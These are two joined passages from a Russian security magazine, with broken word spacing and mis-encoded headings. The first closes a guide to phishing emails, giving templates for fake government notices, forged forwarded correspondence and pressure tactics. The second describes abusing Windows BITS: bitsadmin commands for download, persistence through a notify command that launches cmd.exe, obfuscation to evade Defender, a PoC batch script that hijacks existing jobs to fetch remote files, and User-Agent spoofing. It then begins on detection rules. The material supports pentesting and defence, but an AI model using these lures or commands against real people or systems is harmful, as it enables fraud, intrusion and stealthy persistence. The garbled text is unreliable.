всё запол нить, и что бы я боль ше такого не видел!!» Кста ти, низ кие эмо ции
в рам ках регуляр ных работ по повыше нию осве дом леннос ти луч ше
исполь зовать не чаще раза в год. Да, хакер церемо нить ся не будет
и напишет что угод но, но луч ше не перебар щивать, если лояль ность сот- 
рудни ков для орга низа ции важ на.

• Ãíåâ

. Тут все прос то: в сооб щени ях про раз дачу крип товалю ты

можешь безумс тво вать, а в деловой перепис ке при дер живай ся офи циаль- 
ного тона деловой перепис ки: «Копию на sales@...ru (или support@) так же
отпра вил. Про шу впредь таких оши бок не допус кать: (здесь встав ляем
фишин говую ссыл ку)». Спо соб под ходит для сот рудни ков, которые
в любой непонят ной ситу ации реша ют, что пись мо отно сит ся к дру гому
отде лу, и отправ ляют сооб щения туда. В этом сооб щении мы дела ем вид,
что уже отпра вили в дру гой отдел информа цию и теперь сот рудник дол жен
пров заимо дей ство вать с нашим пись мом лич но.

• Êîí ñåðâà òèçì

. Тут работа ет ста рое доб рое любопытс тво. Если в теме пись ма
говори лось про пре мии пер соналу, то в тек сте мож но прос то вста вить
ссыл ку яко бы на кор поратив ный пор тал и боль ше вооб ще ничего
не писать, ни при ветс твия, ни под писи, ничего.

• Èí òåðåñ

. Дарим какой-то подарок или иным спо собом повыша ем лояль- 

ность сот рудни ков. Нап ример:

• Ðà äîñòü

«
»

Â ñâÿ çè ñ óñïåøíûì çàê ðûòè åì ãîäà ñîò ðóäíè êè, äîáèðà þùèåñÿ
äî ìåñ òà ðàáîòû áîëåå 20 ìèíóò, â ïåð âîì êâàð òàëå áóäóò îáåñ- 
ïå÷åíû ïîåç äêà ìè íà òàê ñè çà ñ÷åò îðãà íèçà öèè. Äëÿ ýòî ãî íóæ íî
çàïîë íèòü àíêå òó.

Óñèëåíèå êîíòåêñòà: äàâëåíèå
Дав ление так же работа ет хорошо, ведь оно тоже вызыва ет эмо ции. Как обыч- 
но исполь зует ся этот вари ант уси ления кон тек ста?

Упо мина ем в пись ме началь ника или пишем от его име ни.•
Про сим о помощи. Добав ляем в сооб щение, нап ример, такое: «Не мог-
ли бы вы помочь, мне необ ходимо...»

•

Да вим на сроч ность. Нап ример: «Изу чить при каз нуж но сегод ня до кон ца
рабоче го дня».

•

Уг рожа ем негатив ными пос ледс тви ями. Нап ример: «Всех, кто не запол нит
анке ту, обе щали лишить еже год ной пре мии».

•

ÏÈÑÜÌÀ ÎÒ ÃÎÑÎÐÃÀÍÎÂ

Час то такими пись мами пуга ют физ лиц, но спо собы атак на них — это тема
для отдель ной кни ги. В слу чае с кор поратив ными получа теля ми гораз до
эффектив нее пред став лять ся госор ганами, нап ример так:

«
»

Â ðàì êàõ ïëà íîâîé ïðî âåð êè íà ïðåä ìåò ëåãàëè çàöèè ñðåäñòâ,
ïîëó÷åí íûõ ïðåñ òóïíûì ïóòåì, óâå äîì ëÿåì, ÷òî âàì íóæ íî ïîä- 
ãîòîâèòü äîêóìåí òû ïî ïðåä ñòàâ ëåííî ìó âî âëî æåíèè ñïèñ êó.

Ñðîê ïðå äîñ òàâëå íèÿ èíôîðìà öèè — 2 ðàáî÷èõ äíÿ.
Ðîñ ôèíìî íèòî ðèíã

По нача лу я хотел вста вить сюда спи сок всех орга нов влас ти, но ты и сам их
смо жешь загуг лить. Прин цип сос тавле ния писем от госор ганов прос той:
1. Ду маешь, с каким из орга нов в спис ке может вза имо дей ство вать орга- 

низа ция.
2. Смот ришь, чем занима ется этот госор ган, что бы выб рать повод для сооб- 

щения.
3. Пи шешь пись мо с упо мина нием это го повода и прик репля ешь наг рузку —

ссыл ку или файл.

Не забывай, что госор ганы могут не толь ко пугать, но и пред ложить зарабо- 
тать.

При мер пись ма с зап росом ком мерчес ких пред ложений

ÑÐÎ×ÍÎ ÎÁÍÎÂÈÒÅÑÜ

Вот при мер пись ма в фор мате «сде лай те это сра зу».

Пись мо с кон тек стом сроч ности

Óñèëåíèå êîíòåêñòà: ëîæü
Тут всё прос то: что бы уси лить воз дей ствие на получа теля, исполь зуем обман.
Вся соци аль ная инже нерия — это по сути обман, но тут мы допол нитель но
уси лива ем сооб щение лож ной информа цией. Нап ример, ссы лаем ся
на руково дите ля, сооб щаем, что с ним этот воп рос обсуждал ся и он яко бы
отпра вил авто ра пись ма к нашей жер тве.

Мож но упо мянуть в сооб щении фей кового сот рудни ка, нап ример помощ- 
ника заведу юще го про изводс твом (даже если такой дол жнос ти не сущес тву- 
ет), который яко бы переп равил наш зап рос к жер тве.

Хо роший метод обма на — встав ка в пись мо фей ковой перепис ки со зна- 
комы ми жер тве людь ми в виде скрин шота.

Один из вари антов лжи — под тасов ка фак тов. Нап ример, мож но разос- 
лать сот рудни кам такое пись мо: «В свя зи с тем что у нас пла ниру ется еже год- 
ный кор поратив, пос вящен ный праз дно ванию Дня осно вания ком пании,
необ ходимо запол нить опрос». Или такое: «В свя зи с про исхо дящим сли- 
янием/пог лощени ем с ОАО «...», нуж но сде лать сле дующее...»

ÔÅÉÊÎÂÀß ÏÅÐÅÏÈÑÊÀ

В пись мо встав ляем перепис ку с сот рудни ком, которой не было, и про сим
что-то сде лать. Нап ример, так:

«

»

: Íà÷àëü íèê ÊÁ 

: v.n.babanov@org.gov.ru 
: Fwd: NDA ñîò ðóäíè êàì

От кого
Поч та
Те ма

Äîá ðûé äåíü.
Ïðîñü áà îçíà êîìèòü ñÿ.
Ñ óâà æåíè åì,
Áà áàíîâ Â. Â.
ÀÎ «Àëü ôà»
https://org.gov.ru
+7 495 777-44-11
ã. Ìîñ êâà, Ñðåä íèé Îâ÷èííè êîâ ñêèé ïåðå óëîê, 21
---Ïåðåñû ëàåìîå ñîîá ùåíèå---
From: Èãîðü Ïåð ëîâ [mailto:igor.perlov@org.gov.ru]
Sent: Thursday, July 22, 2021 2:45 PM
To: Babanov V.v.Babanov@org.gov.ru
Subject: Re: NDA
Îò ïðàâ ëÿþ NDA, íóæ íî ñåãîä íÿ äîâåñ òè äî ñîò ðóäíè êîâ.
Ñ óâà æåíè åì,
Âèê òîð Ïåð ëîâ

ÔÅÉÊÎÂÀß ÏÅÐÅÑÛËÊÀ

По ана логии с пре дыду щим при мером дела ем фей ковую пересыл ку. Пишем
от име ни одно го из началь ников: «Сде лать сегод ня», а ниже яко бы при каз
от ген дирек тора, который говорит, что имен но нуж но сде лать (перей ти
по ссыл ке или ска чать файл).

В дан ном слу чае мы не ком менти руем при каз ген дирек тора и пересы лаем
сооб щение как есть.

А вот еще один при мер пересыл ки, но от име ни кли ента. В пись ме мы про- 
сим сот рудни ка пос мотреть, что там хочет автор исходно го сооб щения,
а ниже яко бы прось ба кли ента с упо мина нием жер твы или жалоба, в которой
при сутс тву ет вре донос ная ссыл ка или вло жен ный файл.

Óñèëåíèå êîíòåêñòà: ñîâïàäåíèå
Ког да у жер твы часть иден тичнос ти сов пада ет с тво ей вымыш ленной —
лояль ность рас тет. Часть иден тичнос ти — это приз нак, по которо му челове ка
отли чают от дру гих. Нап ример, Андрей Ива нов, рыбак, который ездит
на крас ной Ferrari и живет в Вор куте.

Ка кие час ти иден тичнос ти мож но исполь зовать? Тез ки, одно фамиль цы,
проф при над лежность, полити чес кие взгля ды, зем лячес тво, увле чения, учеб- 
ные заведе ния, воин ская служ ба. На этом дела ется акцент в сооб щении. Дру- 
гими сло вами, если поль зовате ля зовут Андрей Ива нов и он юрист, мож но
тоже пред ста вить ся Андре ем Пет ровым или юрис том Сер геем Жуковым.

ÂÛÂÎÄÛ

Мы рас смот рели лишь основные методы фишин га, которые исполь зуют нас- 
тоящие зло умыш ленни ки. Эти методы мож но при менять во вре мя учеб ных
атак. А еще в качес тве источни ка вдох новения мож но исполь зовать готовые
при меры фишин говых сооб щений.

Ес ли ты чита ешь на англий ском, на сай те  тебе могут отсы пать
еще око ло десяти тысяч образцов ссы лок и фай лов, осно ван ных на соци аль- 
ной инже нерии. Помимо про чего, там мож но ска чать вло жения, которые зло- 
умыш ленни ки отправ ляли жер твам, и изу чить образцы све жей мал вари.

app.any.run

mailto:v.Babanov@org.gov.ru
https://app.any.run/
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ВЗЛОМ

Се год ня мы с тобой под робно рас смот рим
служ бу интеллек туаль ной переда чи фай лов
в Windows, она же BITS (Background
Intelligent Transfer Service). Она может
не толь ко выпол нять пря мое пред назна- 
чение, но и помогать хакерам и пен тесте- 
рам оста вать ся незаме чен ными при ата ках
на Windows. Заод но обсу дим, как обе зопа- 
сить сис тему от про ник новения.

BITS — это сер вис, пред назна чен ный для заг рузки и отправ ки фай лов на сер- 
веры HTTP и SMB. Клю чевые воз можнос ти BITS:

ав томати чес кое возоб новле ние переда чи фай лов при потере сетево го
соеди нения или ошиб ке;

•

воз можность менять ско рость заг рузки с уче том про пус кной спо соб ности
сети и пот ребнос тей дру гих при ложе ний.

•

BITS работа ет с «задани ями» (job, задача). Задание — это кон тей нер,
который содер жит один или нес коль ко фай лов для переда чи и свой ства,
опре деля ющие, как переда вать фай лы. У каж дого задания есть при ори тет.
Задания с высоким при ори тетом обра баты вают ся быс трее, чем осталь ные.
При соз дании задачи опре деля ется один из трех :ти пов

 — заг рузка на локаль ную сис тему;• BG_JOB_TYPE_DOWNLOAD

 — переда ча на уда лен ный сер вер;• BG_JOB_TYPE_UPLOAD

 — переда ча на сер вер и получе ние фай ла
в ответ.

• BG_JOB_TYPE_UPLOAD_REPLY

ÑÎÑÒÎßÍÈß ÇÀÄÀ× BITS

За дача BITS может находить ся в сос тоянии одно го из четырех клас сов:
, ,  и , которые мы рас смот рим ниже.starting action transferred final

Íà÷àëüíîå ñîñòîÿíèå (starting)
Жиз ненный цикл задания BITS начина ется с его соз дания. Началь ное сос- 
тояние —  (задание BITS при оста нов лено). В этом

сос тоянии ты можешь добавить фай лы в задание и уста новить его свой ства.
Для выпол нения задания можем выпол нить метод . Если ты решишь

выпол нить задание без фай лов, оно вер нет код ошиб ки 

и задание оста нет ся при оста нов ленным.

BG_JOB_STATE_SUSPENDED

Resume
BG_E_EMPTY

Поль зователь, который соз дал задание BITS, явля ется его вла дель цем
(поль зователь с при виле гиями адми нис тра тора может 
любой задачи). Задача BITS выпол няет ся, ког да поль зователь авто ризо ван
в сис теме с инте рак тивным типом вхо да.

стать вла дель цем

Ñîñòîÿíèå äåéñòâèÿ (action)
К это му клас су отно сят ся сле дующие сос тояния:

 — задание находит ся в оче реди и ждет выпол- 
нения;

• BG_JOB_STATE_QUEUED

 — служ ба BITS пыта ется под клю чить ся
к уда лен ному сер веру. Если соеди нение успешно, сос тояние задачи изме- 
нит ся на , в про тив ном слу чае —
на ;

• BG_JOB_STATE_CONNECTING

BG_JOB_STATE_TRANSFERRING

BG_JOB_STATE_TRANSIENT_ERROR

 — BITS переда ет дан ные задания;• BG_JOB_STATE_TRANSFERRING

 — про изош ла ошиб ка, пос ле которой
переда ча может быть вос ста нов лена. BITS будет пытать ся выпол нить
задание какое-то вре мя, а если оно не выпол нится, то сос тояние изме нит- 
ся на .

• BG_JOB_STATE_TRANSIENT_ERROR

BG_JOB_STATE_ERROR

Сос тояние задания меня ется меж ду ста туса ми, пока BITS не передаст все
фай лы из него. Если задача не выпол нится в течение выделен ного вре мени,
она воз вра щает ся в сос тояние  и начина ется переда ча
из сле дующе го задания.

BG_JOB_STATE_QUEUED

Ñîñòîÿíèÿ ïåðåäà÷è (transferred)
За дача перехо дит в сос тояние  (переда ча дан- 

ных успешно выпол нена), ког да фай лы переда ны. Даль ше ты дол жен либо
отме нить, либо завер шить работу это го задания.

BG_JOB_STATE_TRANSFERRED

Для успешно го выпол нения дол жны быть переда ны все фай лы, ина че
задание завер шится ошиб кой —  (про изош ла неис пра- 

вимая ошиб ка, служ ба не может передать файл).

BG_JOB_STATE_ERROR

Îêîí÷àòåëüíûå ñîñòîÿíèÿ (final)
Как толь ко задача перей дет в окон чатель ное сос тояние, ты не смо жешь ее
изме нить. Задание будет в сос тоянии  (под- 

твержда ет успешное выпол нение задания) пос ле вызова , и все заг- 
ружен ные фай лы будут сох ранены. При вызове метода  опе раци онная

сис тема уда лит заг ружен ные фай лы и сос тояние задачи перей дет
в  (задание отме нено, уда лено из оче реди).
Задания, которые не перей дут в окон чатель ное сос тояние, будут авто мати- 
чес ки отме нены.

BG_JOB_STATE_ACKNOWLEDGED
Complete

Cancel

BG_JOB_STATE_CANCELLED

Êàê ìåíÿòü ñîñòîÿíèÿ çàäà÷
По ка задание не находит ся в одном из окон чатель ных сос тояний, ты можешь
выз вать любой из четырех методов для его изме нения:

 — исполь зует ся для отме ны задания. Переда ча фай лов будет

отме нена, а заг ружен ные фай лы — уда лены.

• Cancel

 — заг ружен ные фай лы будут сох ранены, а непол ностью
передан ные — уда лены.

• Complete

 — исполь зует ся для перево да задания из сос тояния

. Задания в сос тоянии
 или  будут

заново выпол нены.

• Resume

BG_JOB_STATE_SUSPENDED

BG_JOB_STATE_ERROR BG_JOB_STATE_TRANSIENT_ERROR

 — исполь зует ся для перево да задания в сос тояние
. Задание будет находить ся в этом сос тоянии

до вызова метода .

• Suspend

BG_JOB_STATE_SUSPENDED

Resume

ÝÊÑÏËÓÀÒÀÖÈß BITS

Для работы с BITS ты можешь исполь зовать ути литу bitsadmin.exe, которая
поз воля ет управлять задача ми BITS, либо коман дле ты PowerShel

Пос ле крат кого зна комс тва с BITS у тебя уже дол жны появить ся идеи,
как мож но экс плу ати ровать эту служ бу. В мат рице MITRE ATT&CK BITS упо- 
мина ется в нес коль ких так тиках:

 ( ) — T1197 BITS Jobs;• çàê ðåïëå íèå Defense Evasion

 ( ) — T1197 BITS
Jobs;

• îá õîä ñðåäñòâ çàùèòû è îáíà ðóæå íèÿ Persistence

 ( ) — T1105 Ingress Tool

Transfer.

• êîí òðîëü è óïðàâëå íèå Command and Control

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

BITS может поз волить хакерам спря тать соз дание про цес са и сетево го
соеди нения за сво ей служ бой. Впро чем, некото рые EDR и EPP уже обна ружи- 
вают такие попыт ки.

Служ бу мож но запус тить так:

C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS 

При пен тесте BITS может при годить ся для раз ных задач:
за пус тить пей лоад или ска чать файл, исполь зуя про цесс служ бы BITS;•
заг рузить файл с уда лен ного ресур са;•
от пра вить файл на уда лен ный ресурс;•
ско пиро вать файл локаль но;•
зак репить ся в сис теме.•

Дей ствия, опи сан ные ниже, так же мож но выпол нить с помощью коман дле тов
PowerShell:

Start-BitsTransfer;•
Get-BitsTransfef;•
Suspend-BitsTransfer;•
Resume-BitsTransfer;•
Complete-BitsTransfer;•
Remove-BitsTransfer.•

Под робно оста нав ливать ся на них мы не будем.

Ñîçäàåì çàäà÷ó äëÿ çàãðóçêè ôàéëà èëè ëîêàëüíîãî êîïèðîâàíèÿ
Для соз дания задачи, которая будет заг ружать файл с уда лен ного ресур са,
можем выпол нить коман ды ниже.

# Создаем задачу с именем hacks 
bitsadmin /create hacks 

# Добавляем файл для загрузки 
bitsadmin /addfile hacks http://example.com/file.txt C:\users\d3f0x0\
Downloads\test.txt 

# А если для копирования, то 
bitsadmin /addfile hacks C:\Users\qwer\1.txt c:\users\qwer\qwer11.
qwer1 

# Вызываем задачу, используя метод resume 
bitsadmin /resume hacks 

# Подтверждаем выполнение задачи 
bitsadmin /complete hacks 

Как ты дума ешь, что тебя ждет на эта пе добав ления локаль ного фай ла
в задачу для копиро вания? Пра виль но, Windows Defender нач нет ругать ся
и выдавать сооб щение .Trojan:Win32/BITSAbuse.AS

Мо жем по-быс тро му подоб рать количес тво кавычек для обфуска ции
коман ды и получим

b"it"sa"dm"in /addfile hacks c:\Users\qwer\1.txt c:\users\qwer\
qwer11.qwer1 

Ес ли запус тить эту коман ду, файл все же добавит ся в задачу, а детект сра- 
бота ет уже пос ле это го.

WWW

Под робнее про обфуска цию cmd/bat можешь 
 в бло ге Red Team Notes.

по- 
читать

Âûïîëíÿåì íàãðóçêó è çàêðåïëÿåìñÿ â ñèñòåìå
В отли чие от пре дыду щего спо соба, у нас добав ляет ся исполь зование
коман ды для нас трой ки уве дом ления .bitsadmin /SetNotifyCmdLine

# Создаем задачу с именем hacks 
bitsadmin /create hacks 

# Добавляем файл для загрузки 
bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.
qwer1 

# Установка уведомления, запуск c:\windows\system32\cmd.exe 
bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL 

# Вызываем задачу, используя метод resume 
bitsadmin /resume hacks 

# Подтверждаем выполнение задачи 
bitsadmin /complete hacks 

Да вай поз накомим ся с механиз мом уве дом лений под робнее. Мы уже зна ем,
что для его уста нов ки исполь зует ся аргу мент . Остался
воп рос, ког да сра бота ет уве дом ление. Обра тим ся к докумен тации и уви дим,
что опре деле ны :

SetNotifyCmdLine

че тыре типа уве дом лений
 — генери рует событие, ког да все фай лы в задании были переда ны (ста- 

тус );
• 1

BG_JOB_STATE_TRANSFERRED

 — генери рует событие при воз никно вении ошиб ки (ста тус

);

• 2

BG_JOB_STATE_ERROR

 — генери рует событие, ког да все фай лы были переда ны или воз никла

ошиб ка (по умол чанию ста тус 
и );

• 3

BG_JOB_STATE_TRANSFERRED

BG_JOB_STATE_ERROR

 — отклю чает уве дом ление.• 4

Для уста нов ки типа уве дом лений можешь исполь зовать коман ду

bitsadmin /SETNOTIFYFLAGS hacks 1 

Ус танов ленная для уве дом ления коман да будет дочер ним про цес сом служ бы
BITS. Но нуж но пом нить, что соз дание дочер них про цес сов от 
не менее подоз ритель но, чем запуск ути лит для работы с BITS. Тем не менее
такой метод может поз волить обой ти некото рые поведен ческие модули.

svchost.exe

Ку да более ред кое при мене ние BITS — это зак репле ние в сис теме.
Для это го мож но исполь зовать все те же коман ды, что я при водил выше. Дело
в том, что, если выз ванная в рам ках уве дом ления прог рамма 

(cancel) или  (complete) задание, BITS сно ва ее вызовет
по исте чении минималь ной задер жки (по умол чанию это 600 секунд).
Для изме нения зна чения можем исполь зовать такую коман ду:

íå îòìå íèëà

íå çàâåð øèëà

bitsadmin /setminretrydelay hacks 35 

Пос ле это го BITS будет вызывать уве дом ление каж дые 35 секунд, пока задача
не перей дет в финаль ное сос тояние.

Воз ника ет воп рос: как дол го может работать такая задача? Для это го есть
параметр , зна чение которо го — 1 209 600 секунд

(14 дней). Изме нить зна чение можешь такой коман дой:

NoProgressTimeout

bitsadmin /setnoprogresstimeout myDownloadJob 20 

В резуль тате ты смо жешь зак репить ся в сис теме, если не выпол нишь коман ду
 или .bitsadmin /complete hacks bitsadmin /cancel hacks

Соз даем задачу с име нем :hacks

bitsadmin /create hacks 

До бав ляем файл для заг рузки:

bitsadmin /addfile hacks "C:\Users\qwer\1.txt" c:\users\qwer\qwer11.
qwer1 

Ус тановим уве дом ление и запус тим :cmd.exe

bitsadmin /SetNotifyCmdLine hacks c:\windows\system32\cmd.exe NULL 

Вы зыва ем задачу, исполь зуя метод resume:

bitsadmin /resume hacks 

И конеч но, не под твержда ем или не отме няем выпол нение задачи.

BITS Tamparing
Поль зователь может прос мотреть спи сок сво их задач, а локаль ный адми нис- 
тра тор — спи сок задач всех поль зовате лей.

Прос мотр сво их задач:

bitsadmin /list /verbose 

Прос мотр задач всех поль зовате лей:

bitsadmin /list /verbose /allusers 

Для при оста нов ки задачи можем выпол нить коман ду 

. Пом нишь, что мы можем менять свой ства задачи в сос тоянии
?

bitsadmin /suspend 
hacks
BG_JOB_STATE_SUSPENDED

Ду маю, ты уже уви дел здесь воз можность скры вать свои дей ствия
за легитим ными задача ми. Мы можем добавить фай лы к задаче для заг рузки
или уста новить уве дом ление, если она соз дана в кон тек сте текуще го поль- 
зовате ля.

Те перь отве тим на нес коль ко воп росов:
Как мно го прог рамм соз дают задачи BITS?•
Как час то они это дела ют?•
От име ни какой учет ной записи?•

Об ратим ся к жур налу событий:

Microsoft-Windows-Bits-Client/Operational 

Под робнее мы его рас смот рим поз же. Сей час нас инте ресу ет толь ко
событие с  (соз дание задачи).EventID = 3

INFO

О том, как работать с жур налами EVTX из коман- 
дной стро ки, можешь почитать в 
на «Хаб рахаб ре».

мо ей статье

Да вай отфиль тру ем события и сде лаем груп пиров ку, исполь зуя PowerShell:

Get-WinEvent @{logname="Microsoft-Windows-Bits-Client/Operational";ID
=3} | Group-Object {$_.Properties[2].value},{$_.Properties[3].value} 
| Select-Object Name, Count | Format-List

Ре зуль тат работы коман ды пред став лен на скрин шоте ниже.

Ре зуль тат работы коман ды

Продолжение статьи →

https://learn.microsoft.com/en-us/windows/desktop/api/Bits/ne-bits-bg_job_type
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-takeownership
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-cancel
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-complete
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-resume
https://learn.microsoft.com/en-us/windows/desktop/api/Bits/nf-bits-ibackgroundcopyjob-suspend
https://attack.mitre.org/tactics/TA0005
https://attack.mitre.org/tactics/TA0003
https://attack.mitre.org/tactics/TA0011
https://www.ired.team/offensive-security/defense-evasion/commandline-obfusaction
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifyflags
https://habr.com/ru/articles/736512/


КЛОЧКИ

ПО ЗАКОУЛОЧКАМ
КАК УСТРОЕНА СЛУЖБА BITS

В WINDOWS, И КАК ЕЕ АТАКУЮТ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Уч ти, что хост, для которо го при веде на ста тис тика, не в домене и акти вен
менее недели. Как видишь, шанс для нашей шалос ти есть. В качес тве 
можем исполь зовать скрипт, при веден ный ниже.

PoC

@echo off
setlocal

REM Замените на URL вашего файла
 set "filePath=http://example.com/file.zip"

REM Замените на путь назначения
 set "destinationPath=C:\users\qwer\file.zip"

 set "taskName="

:checkTask
REM Получение имени первой задачи BITS

    
  

for /f "tokens=1" %%i in ('bitsadmin /list  ^| findstr /i "TRANSFER"'
) do (
    set "taskName=%%i"
    goto :taskFound
)

echo Задачи BITS не найдены. Ожидание 5
секунд перед повторной проверкой... 

  timeout /t 5 >nul
 goto checkTask

:taskFound
echo Найдено имя задачи: %taskName%

REM Перевод задачи в статус suspend
... echo Приостановка задачи "%taskName%"

 bitsadmin /suspend "%taskName%"

REM Добавление файла для загрузки
echo Добавление файла "%filePath%" для загрузки... 

   bitsadmin /addfile "%taskName%" "%filePath%" "%destinationPath%"

REM Возобновление задачи
... echo Возобновление задачи "%taskName%"

 bitsadmin /resume "%taskName%"

echo Готово. 
endlocal

Скрипт про веря ет, выпол няет ся ли задача, перево дит ее в сос тояние
, добав ляет файл и вызыва ет ее.BG_JOB_STATE_SUSPENDED

При выпол нении скрип та монито ринг, если он нас тро ен, ска жет тебе спа- 
сибо, так как выпол няемые коман ды породят огромное количес тво событий
соз дания про цес сов . Но не сто ит отча ивать ся, мы можем

написать исполня емый файл, который будет исполь зовать COM-интерфейс
для работы с BITS.

bitsadmin.exe

Ñêðûòèå â HTTP-òðàôèêå
При под клю чении к HTTP-сер веру BITS исполь зует заголо вок 

, это может поз волить синей коман де тебя
обна ружить. Для обна руже ния оста лось соз дать про филь с доверен ными
сер верами, и дело в шля пе, но раз работ чики BITS позабо тились о воз- 
можнос ти задать кас томные HTTP-заголов ки. Изме нить User-Agent можем
такой коман дой:

User-Agent: 
MicrosoftBITS/<версия bits>

bitsadmin /setcustomheaders hacks User-Agent:hacker 

ÎÁÍÀÐÓÆÅÍÈÅ

Даль ше мы рас смот рим нес коль ко тех ник, опи раясь на сле дующие юзкей сы:
ис поль зование аргу мен тов bitsadmin.exe;•
ис поль зование коман дле тов PowerShell;•
соз дание вре мен ного фай ла;•
со бытия жур нала BITS;•
соз дание задачи про цес сом не из вай тлис та;•
заг рузка модуля в память про цес са;•
со бытия Windows Defender.•

Для обна руже ния будем писать пра вила на язы ке .eXtraction and Processing

Æóðíàë ïîäñèñòåìû BITS
Жур нал под систе мы BITS мы рас смот рим под робнее, чем осталь ные, он рас- 
положен вот по такому пути:

Microsoft-Windows-Bits-Client/Operational
Нам инте рес ны эти события:
3 — соз дана новая задача BITS;•
59 — задача BITS запуще на;•
60 — задача BITS оста нов лена;•
4 — задача BITS завер шена.•

К сожале нию, нет события «уве дом ление соз дано». При успешном выпол- 
нении задачи мы можем уви деть в жур нале такую пос ледова тель ность
событий: 3 → 59 → 60 → 4.

Ïðè ìåð ñîáûòèÿ: ñîç äàíà íîâàÿ çàäà÷à BITS
 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

   <System>
  

 
       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

3       <EventID> </EventID>
2       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
0       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:24:56.717754300Z**"

/>
1784       <EventRecordID> </EventRecordID>

        <Correlation />
          <Execution ProcessID="**5156**" ThreadID="**4240**" />

       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>
   <EventData>

        <Data Name="**jobTitle**">C:\Users\qwer\AppData\Local\Temp\{
180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**jobId**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}
</Data>

        <Data Name="**jobOwner**">DESKTOP-5SG4NV1\qwer</Data>
        <Data Name="**processPath**">C:\Program Files (x86)\

Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe</Data>
 4572       <Data Name="**processId**"> </Data>

   </EventData>
</Event>

Ин терес ные нам поля:
 — имя задачи;• jobTitle

 — иден тифика тор задачи;• jobId

 — имя поль зовате ля;• jobOwner

 — про цесс, который соз дал задачу;• processPath

 — иден тифика тор про цес са, который соз дал задачу.• processId

Ïðè ìåð ñîáûòèÿ: çàäà÷à BITS çàïóùå íà
 <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">

   <System>
  

 
       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

59       <EventID> </EventID>
1       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
1       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:24:56.996349300Z**"

/>
1785       <EventRecordID> </EventRecordID>

 
 

       <Correlation ActivityID="**{
FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" />

          <Execution ProcessID="**5156**" ThreadID="**2992**" />
       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>
   <EventData>

        <Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-
948DFCB84498}</Data>

        <Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{
180E9A60-F858-492A-9055-D3B1D3F72EE9}-MicrosoftEdgeUpdateSetup_X86_1.
3.195.15.exe</Data>

        <Data Name="**Id**">{F8D03DEA-C49F-4A9F-BBF3-9337E409CE2C}</
Data>

 

P3=2

       <Data Name="**url**">http://msedge.b.tlu.dl.delivery.mp.
microsoft.com/filestreamingservice/files/323fa7f7-4445-4137-82ec-
71528949182a?P1=1722785097&P2=404& &
P4=b%2farCiRMdKqBSgtd8%2bV%2bbnK29zSLqbnBPZJeUgvlbM7rZTcljJhLwZMe4jsU
espcM4FyazgXeWCs9xKWieG4pA%3d%3d
</Data>

         <Data Name="**peer**" />
        <Data Name="**fileTime**">2024-07-24T21:10:59.000000000Z</

Data>
        <Data Name="**fileLength**">1645112</Data>
        <Data Name="**bytesTotal**">1645112</Data>
 0       <Data Name="**bytesTransferred**"> </Data>
 0       <Data Name="**bytesTransferredFromPeer**"> </Data>

   </EventData>
</Event>

Ин терес ные поля:
 — имя задачи;• name

 — иден тифика тор задачи;• Id

 — путь до фай ла, который необ ходимо заг рузить;• url

 — раз мер фай ла.• fileLength

Ïðè ìåð ñîáûòèÿ: çàäà÷à BITS îñòà íîâ ëåíà
    <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/
event">
   <System>

  
 

       <Provider Name="**Microsoft-Windows-Bits-Client**" Guid="**{
EF1CC15B-46C1-414E-BB95-E76B077BD51E}**" />

60       <EventID> </EventID>
1       <Version> </Version>

4       <Level> </Level>
0       <Task> </Task>
2       <Opcode> </Opcode>

       <Keywords>0x4000000000000000</Keywords>
         <TimeCreated SystemTime="**2024-07-29T01:25:20.322452500Z**"

/>
1786       <EventRecordID> </EventRecordID>

 
 

       <Correlation ActivityID="**{
FB9C74E7-8E45-4692-AEBB-948DFCB84498}**" />

          <Execution ProcessID="**5156**" ThreadID="**7624**" />
       <Channel>Microsoft-Windows-Bits-Client/Operational</Channel>
       <Computer>DESKTOP-5SG4NV1</Computer>

         <Security UserID="**S-1-5-18**" />
   </System>
   <EventData>

        <Data Name="**transferId**">{FB9C74E7-8E45-4692-AEBB-
948DFCB84498}</Data>

        <Data Name="**name**">C:\Users\qwer\AppData\Local\Temp\{
